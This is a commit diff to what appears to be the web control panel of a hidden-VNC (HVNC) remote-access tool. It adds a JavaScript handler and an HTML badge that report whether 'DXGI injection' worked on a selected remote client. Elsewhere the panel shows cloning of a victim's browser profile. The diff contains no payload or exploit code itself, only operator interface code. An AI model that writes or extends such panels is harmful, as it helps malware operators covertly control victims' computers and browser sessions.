add a way to show if HVNC DXGI injection actually worked
This commit is contained in:
@@ -346,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||
}
|
||||
|
||||
const dxgiStatusEl = document.getElementById("dxgiStatus");
|
||||
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
|
||||
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
|
||||
let dxgiHideTimer = null;
|
||||
|
||||
function handleDXGIStatus(msg) {
|
||||
if (!dxgiStatusEl) return;
|
||||
if (dxgiHideTimer) {
|
||||
clearTimeout(dxgiHideTimer);
|
||||
dxgiHideTimer = null;
|
||||
}
|
||||
dxgiStatusEl.classList.remove("hidden");
|
||||
dxgiStatusEl.classList.add("flex");
|
||||
if (msg.success) {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI active";
|
||||
dxgiStatusLabel.className = "text-emerald-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
|
||||
dxgiStatusLabel.className = "text-rose-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 10000);
|
||||
}
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -721,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -748,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
|
||||
@@ -100,6 +100,13 @@
|
||||
</div>
|
||||
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||
</div>
|
||||
<div
|
||||
id="dxgiStatus"
|
||||
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||
>
|
||||
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||
<span id="dxgiStatusLabel">DXGI</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
|
||||
Reference in New Issue
Block a user